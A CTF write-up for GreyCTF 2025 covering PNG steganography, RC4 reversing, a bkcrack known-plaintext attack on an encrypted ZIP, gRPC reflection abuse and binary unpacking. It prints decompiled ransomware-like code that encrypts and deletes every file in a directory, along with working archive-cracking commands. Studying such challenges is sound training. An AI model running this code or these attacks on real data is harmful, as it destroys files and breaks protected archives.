GreyCTF 2025

Formula739137

MISC | Finals

So we are given with this nice image of a Mercedes W16.

To begin with, let's first understand that a PNG file is made up of chunks.

Here are some common chunk types that are good to know:

  • IHDR - Image header

  • IDAT - Image data

  • IEND - Image end marker

Every chunk follows a unified structure:

[4 bytes Length][4 bytes Type][N bytes Data][4 bytes CRC]

Running PNG-Check on the file reveals suspicious IDAT chunks of 9 bytes at the end of the image, as shown below.

└─$ pngcheck -v challenge.png

File: challenge.png (1467168 bytes)
  chunk IHDR at offset 0x0000c, length 13
    1920 x 1080 image, 24-bit RGB, non-interlaced
  chunk sRGB at offset 0x00025, length 1
    rendering intent = perceptual
  chunk gAMA at offset 0x00032, length 4: 0.45455
  chunk pHYs at offset 0x00042, length 9: 3779x3779 pixels/meter (96 dpi)
...
  chunk IDAT at offset 0x160f2d, length 9
  chunk IDAT at offset 0x160f42, length 9
  chunk IDAT at offset 0x160f57, length 9
  chunk IDAT at offset 0x160f6c, length 9
  chunk IDAT at offset 0x160f81, length 9
  chunk IDAT at offset 0x160f96, length 9
  chunk IDAT at offset 0x160fab, length 9
  chunk IDAT at offset 0x160fc0, length 9
  chunk IDAT at offset 0x160fd5, length 9
  chunk IDAT at offset 0x160fea, length 9
  chunk IDAT at offset 0x160fff, length 9
...

Let's extract these chunks and take a quick look.

First Sus Chunk Offset = 0x160f2d = 1445677

1445677 - 4 = 1445673 (to include the length since the offset is where the Type string is detected)

└─$ dd if=challenge.png of=sus_chunk.bin bs=1 skip=1445673
21495+0 records in
21495+0 records out
21495 bytes (21 kB, 21 KiB) copied, 0.146775 s, 146 kB/s

┌──(x44ylan㉿x44ylan)-[~]
└─$ xxd sus_chunk.bin
00000000: 0000 0009 4944 4154 785e ecdd 0780 2465  ....IDATx^....$e
00000010: 4db0 9dd4 2000 0000 0949 4441 5478 5eec  M... ....IDATx^.
00000020: dd07 8024 654d b09d d420 0000 0009 4944  ...$eM... ....ID
00000030: 4154 785e ecdd 0780 2465 4db0 9dd4 2000  ATx^....$eM... .

For easier viewing, let's just list it in 21 bytes:

  • Data length = 9

  • Then Total chunk size = 4 + 4 + 9 + 4 = 21 bytes

└─$ xxd -c 21 sus_chunk.bin
00000000: 0000 0009 4944 4154 785e ecdd 0780 2465 4db0 9dd4 20  ....IDATx^....$eM...
00000015: 0000 0009 4944 4154 785e ecdd 0780 2465 4db0 9dd4 20  ....IDATx^....$eM...
...
0000508e: 0000 0009 4944 4154 785e ecdd 0780 2465 68fb 9900 67  ....IDATx^....$eh...g
000050a3: 0000 0009 4944 4154 785e ecdd 0780 2465 eeff 4226 72  ....IDATx^....$e..B&r
000050b8: 0000 0009 4944 4154 785e ecdd 0780 2465 92a6 f11b 65  ....IDATx^....$e....e
000050cd: 0000 0009 4944 4154 785e ecdd 0780 2465 621b 4ce9 79  ....IDATx^....$eb.L.y
000050e2: 0000 0009 4944 4154 785e ecdd 0780 2465 9846 24f2 7b  ....IDATx^....$e.F$.{
000050f7: 0000 0009 4944 4154 785e ecdd 0780 2465 abf9 f493 6d  ....IDATx^....$e....m
0000510c: 0000 0009 4944 4154 785e ecdd 0780 2465 8ab5 9d83 33  ....IDATx^....$e....3
00005121: 0000 0009 4944 4154 785e ecdd 0780 2465 eeff 4226 72  ....IDATx^....$e..B&r
00005136: 0000 0009 4944 4154 785e ecdd 0780 2465 d3a7 2a6a 63  ....IDATx^....$e..*jc
0000514b: 0000 0009 4944 4154 785e ecdd 0780 2465 92a6 f11b 65  ....IDATx^....$e....e
00005160: 0000 0009 4944 4154 785e ecdd 0780 2465 dd40 9247 64  ....IDATx^....$e.@.Gd
00005175: 0000 0009 4944 4154 785e ecdd 0780 2465 8ab5 9d83 33  ....IDATx^....$e....3
0000518a: 0000 0009 4944 4154 785e ecdd 0780 2465 a119 217a 73  ....IDATx^....$e..!zs
0000519f: 0000 0009 4944 4154 785e ecdd 0780 2465 a3f7 2f1b 5f  ....IDATx^....$e../._
000051b4: 0000 0009 4944 4154 785e ecdd 0780 2465 70e8 f598 31  ....IDATx^....$ep...1
000051c9: 0000 0009 4944 4154 785e ecdd 0780 2465 a119 217a 73  ....IDATx^....$e..!zs
000051de: 0000 0009 4944 4154 785e ecdd 0780 2465 a3f7 2f1b 5f  ....IDATx^....$e../._
000051f3: 0000 0009 4944 4154 785e ecdd 0780 2465 abf9 f493 6d  ....IDATx^....$e....m
00005208: 0000 0009 4944 4154 785e ecdd 0780 2465 621b 4ce9 79  ....IDATx^....$eb.L.y
0000521d: 0000 0009 4944 4154 785e ecdd 0780 2465 a3f7 2f1b 5f  ....IDATx^....$e../._
00005232: 0000 0009 4944 4154 785e ecdd 0780 2465 271d fa5c 66  ....IDATx^....$e'..\f
00005247: 0000 0009 4944 4154 785e ecdd 0780 2465 8452 25ae 34  ....IDATx^....$e.R%.4
0000525c: 0000 0009 4944 4154 785e ecdd 0780 2465 55a3 f14c 76  ....IDATx^....$eU..Lv
00005271: 0000 0009 4944 4154 785e ecdd 0780 2465 a3f7 2f1b 5f  ....IDATx^....$e../._
00005286: 0000 0009 4944 4154 785e ecdd 0780 2465 affe 9957 74  ....IDATx^....$e...Wt
0000529b: 0000 0009 4944 4154 785e ecdd 0780 2465 92a6 f11b 65  ....IDATx^....$e....e
000052b0: 0000 0009 4944 4154 785e ecdd 0780 2465 29fa 4271 61  ....IDATx^....$e).Bqa
000052c5: 0000 0009 4944 4154 785e ecdd 0780 2465 abf9 f493 6d  ....IDATx^....$e....m
000052da: 0000 0009 4944 4154 785e ecdd 0780 2465 0256 fe88 21  ....IDATx^....$e.V..!
000052ef: 0000 0009 4944 4154 785e ecdd 0780 2465 d947 ff83 7d  ....IDATx^....$e.G..}
...
000053eb: 0000 0000 4945 4e44 ae42 6082                         ....IEND.B`.

It is observed that the flag is found by concatenating the last byte of each chunk from offset 0x0000508e onwards.

After solving the challenge, I was told that there was an easter egg in the challenge, and here you go:

└─$ xxd -p -c1 sus_chunk.bin | tail -n +21 | awk 'NR % 21 == 1' | xxd -r -p
                                     d88b
                     _______________|8888|_______________
                    |_____________ ,~~~~~~. _____________|
  _________         |_____________: mmmmmm :_____________|         _________
 / _______ \   ,----|~~~~~~~~~~~,'\ _...._ /`.~~~~~~~~~~~|----,   / _______ \
| /       \ |  |    |       |____|,d~    ~b.|____|       |    |  | /       \ |
||         |-------------------\-d.-~~~~~~-.b-/-------------------|         ||
||         | |8888 ....... _,===~/......... \~===._         8888| |         ||
||         |=========_,===~~======._.=~~=._.======~~===._=========|         ||
||         | |888===~~ ...... //,, .`~~~~'. .,\\        ~~===888| |         ||
||        |===================,P'.::::::::.. `?,===================|        ||
||        |_________________,P'_::----------.._`?,_________________|        ||
`|        |-------------------~~~~~~~~~~~~~~~~~~-------------------|        |'
  \_______/                         grey{m3rced3s_1s_my_f4v_team!}  \_______/

└─$ grey{m3rced3s_1s_my_f4v_team!}

Reversing 101

EZPZ | Qualifier

The given binary was decompiled and analyzed, revealing three primary functions:

  • Function a : A length function that calculates the size of the input.

  • Function b : A key generation function that produces the internal RC4 key.

  • Function c : The RC4 encryption/decryption function.

The overall flow is as follows: the input is first processed by Function a to check that its length is exactly 5 characters, then encrypted by Function c using the key generated from Function b. The result is then compared against the encrypted byte array:

[0xd1, 0x58, 0x15, 0x8a, 0xee, 0xb5, 0xbb, 0x52, 0x0c, 0x6b, 0xa4, 0xab, 0x6d, 0x7d, 0xb7]

To obtain the return value of Function b using GDB, follow these steps:

  1. Launch GDB with the binary: gdb ./chal

  2. Set a breakpoint at the start of Function B: b *0x00401217

  3. runs until Function B returns: finish

  4. print the returned key value:

(gdb) print/x $rax 
$2 = 0xc1de1494171d9e2

Note:

  • On x86 (32-bit), the return value is stored in the eax register.

  • On x86-64 (64-bit), the return value is stored in rax.

Then decrypt the encrypted byte array by running the code below.

#!/usr/bin/env python3
"""
Decrypt the password with RC4
"""

def rc4_decrypt(data, key_64bit):
    key_bytes = []
    for i in range(8):
        key_bytes.append((key_64bit >> (i * 8)) & 0xFF)

    S = list(range(256))

    j = 0
    for i in range(256):
        key_byte = key_bytes[i % 8]
        j = (j + S[i] + key_byte) & 0xFF
        S[i], S[j] = S[j], S[i]
    
    i = 0
    j = 0
    result = bytearray(len(data))
    
    for byte_index in range(len(data)):
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
        
        keystream_byte = S[(S[i] + S[j]) & 0xFF]
        result[byte_index] = data[byte_index] ^ keystream_byte
    
    return result

def main():
    # Extract the encrypted data from the binary
    enc = bytearray([0xd1, 0x58, 0x15, 0x8a, 0xee, 0xb5, 0xbb, 0x52, 
                     0x0c, 0x6b, 0xa4, 0xab, 0x6d, 0x7d, 0xb7])
    correct_key = 0xc1de1494171d9e2f
    decrypted = rc4_decrypt(enc, correct_key)

    print(f"Decrypted: {decrypted}")


if __name__ == "__main__":
    main()

Notsus.exe

Forensics | Qualifier

Insert Guessy forensics challenge description here

We are given a password-protected ZIP file that contains two files:

  • not_sus.exe

  • flag.txt.yorm

Initial attempts to brute-force the ZIP using pkcrack didn’t work. So, I shifted focus to another common ZIP attack: the known-plaintext attack.

A great reference for this type of attack is this write-up from IEEE VIC-3 CTF 2024.

The idea behind a known-plaintext attack on ZIP files is that you know some part of the original content, and you can use that to recover the decryption key.

In this case, the .yorm file type was unfamiliar, so I focused on the not_sus.exe instead.

Most Windows executables start with a typical DOS MZ header containing the following:

Offset
Bytes
Meaning (GPT Generated)

0x00

0x4D 0x5A

"MZ" signature — Magic number for DOS/Windows executables.

0x02

0x90 0x00

Bytes on last page0x0090 = 144 bytes

0x04

0x03 0x00

Pages in file — File is 3 * 512 = 1536 bytes total.

0x06

0x00 0x00

Relocation entries — Number of relocation entries (0 here).

0x08

0x04 0x00

Header size — In 16-byte paragraphs. 0x0004 = 4 * 16 = 64 bytes

0x0A

0x00 0x00

Minimum extra paragraphs needed — Typically zero.

0x0C

0xFF 0xFF

Maximum extra paragraphs needed0xFFFF indicates “as much memory as available”.

0x0E

0x00 0x00

Initial SS (stack segment) — Relative to the load segment (0 here).

Using this known header as plaintext, I ran a known-plaintext ZIP attack using bkcrack

└─$ unzip -Z files.zip
Archive:  files.zip
Zip file size: 6716892 bytes, number of entries: 2
-rw-a--     6.3 fat       49 Bx stor 25-May-05 17:04 flag.txt.yorm
-rwxa--     6.3 fat  6716527 Bx stor 25-May-05 16:43 notsus.exe
2 files, 6716576 bytes uncompressed, 6716576 bytes compressed:  0.0%

└─$ echo -n -e '\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00' > known_notsus.txt

└─$ bkcrack -C files.zip -c notsus.exe -p known_notsus.txt
bkcrack 1.7.1 - 2024-12-21
[23:28:34] Z reduction using 9 bytes of known plaintext
100.0 % (9 / 9)
[23:28:34] Attack on 721104 Z values at index 6
Keys: d1608c35 d11d350a 4bc3da9c
91.2 % (657301 / 721104)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 657301
[23:49:53] Keys
d1608c35 d11d350a 4bc3da9c

└─$ bkcrack -C files.zip -k d1608c35 d11d350a 4bc3da9c -D decrypted.zip
bkcrack 1.7.1 - 2024-12-21
[23:57:14] Writing decrypted archive decrypted.zip
100.0 % (2 / 2)

After decrypting the ZIP, we now have:

  • not_sus.exe

  • flag.txt.yorm — contents look like gibberish, likely encrypted or encoded.

Running not_sus.exe through Detect It Easy (DIE) reveals that it’s a PyInstaller-packed Python executable.

DetectItEasy

We can unpack the executable with PyInstxtractor and decompiling the obtained .pycwith PyLingual

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: notsus.py
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import os
import sys
from itertools import cycle

def a(b, c):
    if len(b) < len(c):
        b, c = (c, b)
    return bytes((a ^ b for a, b in zip(b, cycle(c))))

def b(a, c):
    d = list(range(256))
    e = 0
    for f in range(256):
        e = (e + d[f] + a[f % len(a)]) % 256
        d[f], d[e] = (d[e], d[f])
    f = e = 0
    g = bytearray()
    for h in c:
        f = (f + 1) % 256
        e = (e + d[f]) % 256
        d[f], d[e] = (d[e], d[f])
        k = d[(d[f] + d[e]) % 256]
        g.append(h ^ k)
    return bytes(g)

def c(a):
    b = []
    for c, d, e in os.walk(a):
        for f in e:
            b.append(os.path.join(c, f))
    return b
d = b'HACKED!'
e = os.path.basename(sys.executable)
for f in c('.'):
    if e in f:
        continue
    with open(f, 'rb') as g:
        asdf = g.read()
    with open(f'{f}.yorm', 'wb') as g:
        g.write(b(d, asdf))
    os.remove(f)

Looks like another RC4.

Recover the flag :

import os
import sys
from itertools import cycle

def a(b, c):
    if len(b) < len(c):
        b, c = (c, b)
    return bytes((a ^ b for a, b in zip(b, cycle(c))))

def b(a, c):
    d = list(range(256))
    e = 0
    for f in range(256):
        e = (e + d[f] + a[f % len(a)]) % 256
        d[f], d[e] = (d[e], d[f])
    f = e = 0
    g = bytearray()
    for h in c:
        f = (f + 1) % 256
        e = (e + d[f]) % 256
        d[f], d[e] = (d[e], d[f])
        k = d[(d[f] + d[e]) % 256]
        g.append(h ^ k)
    return bytes(g)

d = b'HACKED!'
with open('flag.txt.yorm', 'rb') as g:
    encrypted_data = g.read()
decrypted_data = b(d, encrypted_data)
print(decrypted_data.decode('utf-8', errors='ignore'))

└─$ grey{this_program_cannot_be_run_in_dos_mode_hehe}

SGRPC

Web | Qualifier

Can't get hacked if they can't reach it.

package main

import (
	"context"
	"flag"
	"github.com/google/go-cmp/cmp"
	"google.golang.org/grpc"
	"google.golang.org/grpc/reflection/grpc_reflection_v1"
	"google.golang.org/protobuf/types/known/emptypb"
	"log"
	"net"
	"os"

	pb "ctf.nusgreyhats.org/sgrpc/flag"
)

// server is used to implement helloworld.GreeterServer.
type server struct {
	pb.UnimplementedFlagServer
}

func (s *server) Hello(_ context.Context, _ *emptypb.Empty) (*pb.HelloReply, error) {
	reply := "Hello from QuanYang"
	return &pb.HelloReply{Message: &reply}, nil
}

func (s *server) GetFlag(_ context.Context, in *pb.FlagRequest) (*pb.FlagReply, error) {
	flagValue := os.Getenv("FLAG")
	unauthorized := "unauthorized"
	if in.GetFirstCondition() != <redacted> || !cmp.Equal(in.GetSecondCondition(), <redacted>) || in.GetLastCondition() != <redacted> {
		return &pb.FlagReply{Flag: &unauthorized}, nil
	}
	return &pb.FlagReply{Flag: &flagValue}, nil
}

func main() {
	flag.Parse()
	lis, err := net.Listen("tcp", ":3335")
	if err != nil {
		log.Fatalf("failed to listen: %v", err)
	}
	s := grpc.NewServer()
	pb.RegisterFlagServer(s, &server{})
	grpc_reflection_v1.RegisterServerReflectionServer(s, &restrictedReflectionServer{})
	log.Printf("server listening at %v", lis.Addr())
	if err := s.Serve(lis); err != nil {
		log.Fatalf("failed to serve: %v", err)
	}
}

This challenge revolves around a gRPC server written in Go, exposing two main RPC methods via the Flag service:

  • Hello

  • GetFlag

The server also includes a custom implementation of gRPC Server Reflection with some restrictions enforced in customreflect.go.

package main

import (
	"google.golang.org/grpc/codes"
	"google.golang.org/grpc/reflection/grpc_reflection_v1"
	"google.golang.org/protobuf/proto"
	"google.golang.org/protobuf/reflect/protodesc"
	"google.golang.org/protobuf/reflect/protoreflect"
	"google.golang.org/protobuf/reflect/protoregistry"
	"strings"
)

type restrictedReflectionServer struct {
	grpc_reflection_v1.UnimplementedServerReflectionServer
}

func (s *restrictedReflectionServer) FileDescWithDependencies(fd protoreflect.FileDescriptor, sentFileDescriptors map[string]bool) ([][]byte, error) {
	if fd.IsPlaceholder() {
		// If the given root file is a placeholder, treat it
		// as missing instead of serializing it.
		return nil, protoregistry.NotFound
	}
	var r [][]byte
	queue := []protoreflect.FileDescriptor{fd}
	for len(queue) > 0 {
		currentfd := queue[0]
		queue = queue[1:]
		if currentfd.IsPlaceholder() {
			// Skip any missing files in the dependency graph.
			continue
		}
		if sent := sentFileDescriptors[currentfd.Path()]; len(r) == 0 || !sent {
			sentFileDescriptors[currentfd.Path()] = true
			fdProto := protodesc.ToFileDescriptorProto(currentfd)
			currentfdEncoded, err := proto.Marshal(fdProto)
			if err != nil {
				return nil, err
			}
			r = append(r, currentfdEncoded)
		}
		for i := 0; i < currentfd.Imports().Len(); i++ {
			queue = append(queue, currentfd.Imports().Get(i))
		}
	}
	return r, nil
}

func (s *restrictedReflectionServer) FileDescEncodingContainingSymbol(name string, sentFileDescriptors map[string]bool) ([][]byte, error) {
	d, err := protoregistry.GlobalFiles.FindDescriptorByName(protoreflect.FullName(name))
	if err != nil {
		return nil, err
	}
	return s.FileDescWithDependencies(d.ParentFile(), sentFileDescriptors)
}

func (s *restrictedReflectionServer) ServerReflectionInfo(stream grpc_reflection_v1.ServerReflection_ServerReflectionInfoServer) error {
	sentFileDescriptors := make(map[string]bool)
	for {
		req, err := stream.Recv()
		if err != nil {
			return err
		}

		switch r := req.MessageRequest.(type) {
		case *grpc_reflection_v1.ServerReflectionRequest_FileContainingSymbol:
			// Allow describing request message types only
			if !isDisallowedMessage(r.FileContainingSymbol) {
				// Respond with file descriptor
				b, err := s.FileDescEncodingContainingSymbol(r.FileContainingSymbol, sentFileDescriptors)
				if err != nil {
					stream.Send(&grpc_reflection_v1.ServerReflectionResponse{
						ValidHost:       req.Host,
						OriginalRequest: req,
						MessageResponse: &grpc_reflection_v1.ServerReflectionResponse_ErrorResponse{
							ErrorResponse: &grpc_reflection_v1.ErrorResponse{
								ErrorCode:    int32(codes.NotFound),
								ErrorMessage: "Symbol not found",
							},
						},
					})
					continue
				}

				stream.Send(&grpc_reflection_v1.ServerReflectionResponse{
					ValidHost:       req.Host,
					OriginalRequest: req,
					MessageResponse: &grpc_reflection_v1.ServerReflectionResponse_FileDescriptorResponse{
						FileDescriptorResponse: &grpc_reflection_v1.FileDescriptorResponse{
							FileDescriptorProto: b,
						},
					},
				})
			} else {
				stream.Send(&grpc_reflection_v1.ServerReflectionResponse{
					ValidHost:       req.Host,
					OriginalRequest: req,
					MessageResponse: &grpc_reflection_v1.ServerReflectionResponse_ErrorResponse{
						ErrorResponse: &grpc_reflection_v1.ErrorResponse{
							ErrorCode:    int32(codes.PermissionDenied),
							ErrorMessage: "This reflection method is disabled",
						},
					},
				})
			}
		default:
			// Block all other reflection requests
			stream.Send(&grpc_reflection_v1.ServerReflectionResponse{
				ValidHost:       req.Host,
				OriginalRequest: req,
				MessageResponse: &grpc_reflection_v1.ServerReflectionResponse_ErrorResponse{
					ErrorResponse: &grpc_reflection_v1.ErrorResponse{
						ErrorCode:    int32(codes.PermissionDenied),
						ErrorMessage: "This reflection method is disabled",
					},
				},
			})
		}
	}
}

func isDisallowedMessage(symbol string) bool {
	parts := strings.Split(symbol, ".")
	if strings.Contains(strings.ToLower(parts[len(parts)-1]), "flag") {
		return true
	}
	return false
}

Based on the provided source code, the GetFlag RPC requires three specific conditions to be met in the request in order to get the flag.

To identify the required fields, we can enumerate using available gRPC Server Reflection. After some trial-and-error :

└─$ grpcurl -plaintext -d '{"file_containing_symbol":"flag.HelloReply"}' 
            challs.nusgreyhats.org:33202 
            grpc.reflection.v1.ServerReflection.ServerReflectionInfo
{
  "originalRequest": {
    "fileContainingSymbol": "flag.HelloReply"
  },
  "fileDescriptorResponse": {
    "fileDescriptorProto": [
      "CgpmbGFnLnByb3RvEgRmbGFnGhtnb29nbGUvcHJvdG9idWYvZW1wdHkucHJvdG8isQEKC0ZsYWdSZXF1ZXN0EjoKD2ZpcnN0X2NvbmRpdGlvbhgCIAIoCToRVHJhTGFMZVJvIFRyYUxhTGFSDmZpcnN0Q29uZGl0aW9uEjMKEHNlY29uZF9jb25kaXRpb24YAyACKAw6CGNhZmViYWJlUg9zZWNvbmRDb25kaXRpb24SMQoObGFzdF9jb25kaXRpb24YASACKAY6CjMxNDE1OTI2NTRSDWxhc3RDb25kaXRpb24iHwoJRmxhZ1JlcGx5EhIKBGZsYWcYASACKAlSBGZsYWciJgoKSGVsbG9SZXBseRIYCgdtZXNzYWdlGAEgAigJUgdtZXNzYWdlMmwKBEZsYWcSLwoHR2V0RmxhZxIRLmZsYWcuRmxhZ1JlcXVlc3QaDy5mbGFnLkZsYWdSZXBseSIAEjMKBUhlbGxvEhYuZ29vZ2xlLnByb3RvYnVmLkVtcHR5GhAuZmxhZy5IZWxsb1JlcGx5IgBCIFoeY3RmLm51c2dyZXloYXRzLm9yZy9zZ3JwYy9mbGFn",
      "Chtnb29nbGUvcHJvdG9idWYvZW1wdHkucHJvdG8SD2dvb2dsZS5wcm90b2J1ZiIHCgVFbXB0eUJ9ChNjb20uZ29vZ2xlLnByb3RvYnVmQgpFbXB0eVByb3RvUAFaLmdvb2dsZS5nb2xhbmcub3JnL3Byb3RvYnVmL3R5cGVzL2tub3duL2VtcHR5cGL4AQGiAgNHUEKqAh5Hb29nbGUuUHJvdG9idWYuV2VsbEtub3duVHlwZXNiBnByb3RvMw=="
    ]
  }
}

Base64 decoding the first file descriptor reveals it's a protoset for gRPC, but it’s not valid.

So let’s try decoding it manually to see what’s actually inside.

echo "CgpmbGFnLnByb3RvEgRmbGFnGhtnb29nbGUvcHJvdG9idWYvZW1wdHkucHJvdG8isQEKC0ZsYWdSZXF1ZXN0EjoKD2ZpcnN0X2NvbmRpdGlvbhgCIAIoCToRVHJhTGFMZVJvIFRyYUxhTGFSDmZpcnN0Q29uZGl0aW9uEjMKEHNlY29uZF9jb25kaXRpb24YAyACKAw6CGNhZmViYWJlUg9zZWNvbmRDb25kaXRpb24SMQoObGFzdF9jb25kaXRpb24YASACKAY6CjMxNDE1OTI2NTRSDWxhc3RDb25kaXRpb24iHwoJRmxhZ1JlcGx5EhIKBGZsYWcYASACKAlSBGZsYWciJgoKSGVsbG9SZXBseRIYCgdtZXNzYWdlGAEgAigJUgdtZXNzYWdlMmwKBEZsYWcSLwoHR2V0RmxhZxIRLmZsYWcuRmxhZ1JlcXVlc3QaDy5mbGFnLkZsYWdSZXBseSIAEjMKBUhlbGxvEhYuZ29vZ2xlLnByb3RvYnVmLkVtcHR5GhAuZmxhZy5IZWxsb1JlcGx5IgBCIFoeY3RmLm51c2dyZXloYXRzLm9yZy9zZ3JwYy9mbGFn" 
     | base64 -d > flag.protoset
└─$ protoc --decode_raw < flag.protoset
1: "flag.proto"
2: "flag"
3: "google/protobuf/empty.proto"
4 {
  1: "FlagRequest"
  2 {
    1: "first_condition"
    3: 2
    4: 2
    5: 9
    7: "TraLaLeRo TraLaLa"
    10: "firstCondition"
  }
  2 {
    1: "second_condition"
    3: 3
    4: 2
    5: 12
    7: "cafebabe"
    10: "secondCondition"
  }
  2 {
    1: "last_condition"
    3: 1
    4: 2
    5: 6
    7: "3141592654"
    10: "lastCondition"
  }
}
4 {
  1: "FlagReply"
  2 {
    1: "flag"
    3: 1
    4: 2
    5: 9
    10: "flag"
  }
}
4 {
  1: "HelloReply"
  2 {
    1: "message"
    3: 1
    4: 2
    5: 9
    10: "message"
  }
}
6 {
  1: "Flag"
  2 {
    1: "GetFlag"
    2: ".flag.FlagRequest"
    3: ".flag.FlagReply"
    4: ""
  }
  2 {
    1: "Hello"
    2: ".google.protobuf.Empty"
    3: ".flag.HelloReply"
    4: ""
  }
}
8 {
  11: "ctf.nusgreyhats.org/sgrpc/flag"
}

With this, we can reconstruct the .proto file ourselves, which we can then use to generate a valid protoset.

syntax = "proto3";

package flag;

import "google/protobuf/empty.proto";

message FlagRequest {
  string first_condition = 2;
  bytes second_condition = 3;
  fixed64 last_condition = 1;
}

message FlagReply {
  string flag = 1;
}

message HelloReply {
  string message = 1;
}

service Flag {
  rpc GetFlag(FlagRequest) returns (FlagReply);
  rpc Hello(google.protobuf.Empty) returns (HelloReply);
}
└─$ protoc --proto_path=. 
           --proto_path=$(dirname $(which protoc))/../include 
           --descriptor_set_out=flag.protoset --include_imports flag.proto
└─$ grpcurl -plaintext  
            -d '{ "lastCondition": 3141592654, 
                  "firstCondition": "TraLaLeRo TraLaLa", 
                  "secondCondition": "Y2FmZWJhYmU=" }'   
            -protoset flag.protoset   
            challs.nusgreyhats.org:33202   flag.Flag/GetFlag

└─$ grey{r3fl3ct_th3_sch3m4}

Meowware

Rev | Qualifier | DidNotSolve

We were given two files: client (an executable) and client.pcap (containing encrypted traffic).

When we run the binary, it produces no output:

└─$ ./client
(no output)
└─$ file client
client: ELF 64-bit LSB executable, 
        x86-64, 
        version 1 (SYSV), 
        BuildID[sha1]=53a87fd5741a38f22047405a7e29d947de8cdd45, 
        for GNU/Linux 3.2.0, 
        statically linked, 
        no section header

From this output, we can see that:

  • The binary uses x86-64 architecture (AMD64, Intel 64-bit)

  • It's statically linked

  • It's stripped

By using strace to trace the system calls, we were able to identify that:

  1. The binary is packed with a custom upx (notice the "upX" and "upx" memfd names)

  2. It unpacks itself during runtime

  3. It creates in-memory files (memfd_create), writes unpacked content to them, and executes them via mmap

Since we know the binary dumps the unpacked executable into in-memory files, we can try to dump the memory during runtime to obtain the unpacked binary.

pwndbg> start
pwndbg> catch syscall ptrace
Catchpoint 1 (syscall 'ptrace' [101])
pwndbg> run
pwndbg> info proc mappings
process 80
Mapped address spaces:
Start Addr         End Addr           Size               Offset             Perms File
0x0000000000400000 0x0000000000401000 0x1000             0x0                r--p
0x0000000000401000 0x00000000004c8000 0xc7000            0x0                r-xs  /memfd:upx (deleted)
0x00000000004c8000 0x00000000004f9000 0x31000            0x0                r--p
0x00000000004f9000 0x0000000000504000 0xb000             0x0                rw-p
0x0000000000568000 0x000000000058a000 0x22000            0x0                rw-p  [heap]
...

From the strace output, we saw:

munmap(0x400000, 1062920)
  • Start address: 0x400000

  • Size: 1062920 bytes = 0x103000 in hex

pwndbg> dump memory dump 0x400000 0x503000
└─$ file dump
dump: ELF 64-bit LSB executable, 
      x86-64, 
      version 1 (SYSV), 
      statically linked, 
      stripped

After getting the unpacked binary, I skill issued and did not manage to solve the challenge 😥

Last updated